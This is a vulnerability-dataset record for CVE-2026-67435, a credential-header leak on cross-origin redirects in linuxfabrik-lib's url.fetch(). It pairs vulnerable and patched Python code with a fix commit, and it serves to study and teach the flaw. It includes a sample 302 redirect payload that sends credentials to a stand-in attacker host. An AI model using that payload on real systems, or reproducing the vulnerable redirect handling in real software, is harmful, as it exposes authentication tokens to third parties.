{"id":2182,"cve":"CVE-2026-67435","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-67435\/","cwe":"CWE-200","cwe_number":200,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/200","cvss_score":6,"published":"2026-07-29","owasp":"A10 Server-Side Request Forgery (SSRF)","odc":"Checking","cdc":"Incorrect Check","category":"Information Leakage","subcategory":"Server-Side Request Forgery (SSRF)","scope":"Remote","impact":"Information Disclosure","summary":"lib.url.fetch() forwards headers during cross-origin redirects.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-67435\/","description":"linuxfabrik-lib provides Python modules for database access, caching, shell execution, and API integrations. Prior to version 6.0.0, lib.url.fetch() followed cross-origin redirects while forwarding caller-supplied credential headers other than Authorization and Cookie, allowing a malicious redirect-capable server to receive headers such as X-Auth-Token from authenticated monitoring requests. This issue is fixed in version 6.0.0.","solution":"Upgrade linuxfabrik-lib to version 6.0.0 or later.","affected_component":"linuxfabrik-lib","fixed_by_upgrading":true,"vulnerable_code":"import requests\nfrom urllib.parse import urljoin, urlparse\n\ndef fetch(url, headers=None, max_redirects=5):\n    \"\"\"\n    A simplified representation of linuxfabrik-lib.url.fetch,\n    manually handling redirects.\n    \"\"\"\n    current_url = url\n    current_headers = headers or {}\n\n    for _ in range(max_redirects):\n        response = requests.get(\n            current_url,\n            headers=current_headers,\n            allow_redirects=False,\n            timeout=10,\n        )\n\n        if not response.is_redirect:\n            return response\n\n        redirect_url = response.headers.get('Location')\n        if not redirect_url:\n            return response\n\n        new_url = urljoin(current_url, redirect_url)\n\n        # VULNERABLE: All headers, including credentials, are reused for the next request without checking for a cross-origin redirect.\n        current_url = new_url\n        # current_headers is not modified, so it's passed to the next iteration.\n\n    raise requests.exceptions.TooManyRedirects(\"Exceeded max redirects\")\n","patched_code":"import requests\nfrom urllib.parse import urljoin, urlparse\n\ndef fetch(url, headers=None, max_redirects=5):\n    \"\"\"\n    A simplified representation of linuxfabrik-lib.url.fetch,\n    manually handling redirects.\n    \"\"\"\n    current_url = url\n    current_headers = headers or {}\n    sensitive_headers_lower = {'x-auth-token', 'x-api-key'}\n\n    for _ in range(max_redirects):\n        response = requests.get(\n            current_url,\n            headers=current_headers,\n            allow_redirects=False,\n            timeout=10,\n        )\n\n        if not response.is_redirect:\n            return response\n\n        redirect_url = response.headers.get('Location')\n        if not redirect_url:\n            return response\n\n        new_url = urljoin(current_url, redirect_url)\n\n        original_origin = urlparse(current_url)\n        new_origin = urlparse(new_url)\n        # FIX: On cross-origin redirects, sensitive headers are stripped before the next request.\n        if (original_origin.scheme, original_origin.hostname, original_origin.port) != \\\n           (new_origin.scheme, new_origin.hostname, new_origin.port):\n            current_headers = {\n                k: v for k, v in current_headers.items()\n                if k.lower() not in sensitive_headers_lower\n            }\n\n        current_url = new_url\n\n    raise requests.exceptions.TooManyRedirects(\"Exceeded max redirects\")\n","payload_needed":true,"payload":"```http\nHTTP\/1.1 302 Found\nLocation: https:\/\/attacker-controlled-server.com\/log_headers\nContent-Length: 0\n```","payload_status":"available","published_fix":[{"repository":"Linuxfabrik\/lib","commit_url":"https:\/\/github.com\/Linuxfabrik\/lib\/commit\/6573ff9347e541200305d278d2663d2e54e052ff","commit_subject":"fix(url): drop credential headers on cross-origin redirect","units":[{"file":"url.py","function":null},{"file":"url.py","function":"fetch"}]}],"references":null}